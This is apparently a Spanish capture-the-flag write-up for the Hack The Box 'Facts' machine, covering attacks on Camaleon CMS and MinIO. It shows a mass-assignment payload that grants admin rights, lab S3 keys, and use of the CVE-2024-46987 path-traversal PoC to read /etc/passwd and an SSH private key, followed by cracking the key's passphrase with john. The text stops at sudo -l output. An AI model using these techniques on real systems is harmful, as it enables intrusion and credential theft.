
HTB Facts es una máquina Linux fácil que presenta Camaleon CMS y MinIO. Obtén acceso de administrador mediante registro abierto y una vulnerabilidad de asignación masiva, luego extrae credenciales de MinIO desde la configuración de administrador. Usa el path traversal CVE-2024-46987 para robar una clave privada SSH, descifrar su frase de contraseña y escalar a root abusando de los permisos sudo en facter mediante GTFOBins.
SO: Linux
Etiquetas: Web, MinIO, Camaleon CMS, Path Traversal, Escalada de Privilegios
Comenzar con un escaneo completo de puertos TCP para identificar los servicios abiertos.
nmap -p- --min-rate 5000 -T4 10.129.244.96
Resultados:
| Puerto | Servicio | Notas |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | Desconocido | Identificado como MinIO |
Añadir el objetivo a /etc/hosts:
echo "10.129.244.96 facts.htb" >> /etc/hosts
Al navegar a http://facts.htb se revela un sitio web de trivia construido sobre Camaleon CMS (Ruby on Rails). Indicadores clave:
_factsapp_session (sesión de Rails)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)Enumerar el sitemap para todas las páginas disponibles:
curl -s http://facts.htb/sitemap.xml
Rutas notables descubiertas:
/admin → redirige a /admin/login/rss/animal-ejected, /anne-frank, etc.Comprobar el panel de inicio de sesión de administrador:
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login
Sondear el puerto desconocido con curl revela MinIO, un servicio de almacenamiento de objetos compatible con S3:
curl -v http://facts.htb:54321
Respuesta:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
Las cabeceras confirman: Server: MinIO
Sondear posibles nombres de buckets (una respuesta 403 por sí sola no confirma que un bucket exista):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
Todos devuelven 403 Forbidden — los buckets existen pero requieren credenciales.
A partir de las rutas de recursos y la cookie de sesión, el CMS se identifica como Camaleon CMS.
Comprobar vulnerabilidades conocidas:
searchsploit camaleon
Resultados:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
La versión del panel de administración se confirma como 2.9.0 (visible en el pie de página tras iniciar sesión).
La página de inicio de sesión de administrador en http://facts.htb/admin/login incluye un enlace "Create an account". Registrar una nueva cuenta:
http://facts.htb/admin/users/sign_uptest123 / test123)ClientTras el registro, iniciar sesión en el panel de administración. La cuenta tiene privilegios limitados de Client.
Camaleon CMS es vulnerable a un ataque de asignación masiva en el endpoint de cambio de contraseña. Al interceptar la solicitud de cambio de contraseña e inyectar un parámetro password[role], un atacante puede escalar su propio rol a admin.
Pasos usando Burp Suite:
Client.Profile → Edit → Change Password.&password[role]=admin al cuerpo de la solicitud:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK.La cuenta ahora tiene privilegios de admin, otorgando acceso completo al panel de administración del CMS, incluyendo Settings, Media y Filesystem Settings.
Con acceso de administrador, navegar a:
Settings → General Site → Filesystem Settings
La página revela credenciales de MinIO (compatible con AWS S3) hardcodeadas:
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
Configurar AWS CLI y enumerar los buckets:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
Buckets descubiertos:
2025-09-11 internal
2025-09-11 randomfacts
El bucket internal contiene el directorio home del usuario trivia:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
Alternativamente, la clave privada SSH puede obtenerse mediante CVE-2024-46987, una vulnerabilidad de path traversal autenticada en Camaleon CMS que permite leer archivos arbitrarios del servidor.
Clonar el PoC público:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
Leer archivos sensibles:
# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
Salida (líneas relevantes):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Se identifican dos usuarios: trivia y william. Dado que trivia tiene un shell de inicio de sesión y un directorio home, comprobar si existe una clave privada SSH:
# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
Guardar la salida de la clave en un archivo:
chmod 600 id_ed25519
La clave privada SSH está cifrada con una frase de contraseña. Usar ssh2john y john para descifrarla:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Frase de contraseña descifrada: dragonballz
ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz
Obtener la flag de usuario:
cat /home/william/user.txt
Comprobar los privilegios de sudo para el usuario trivia:
sudo -l
Salida:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter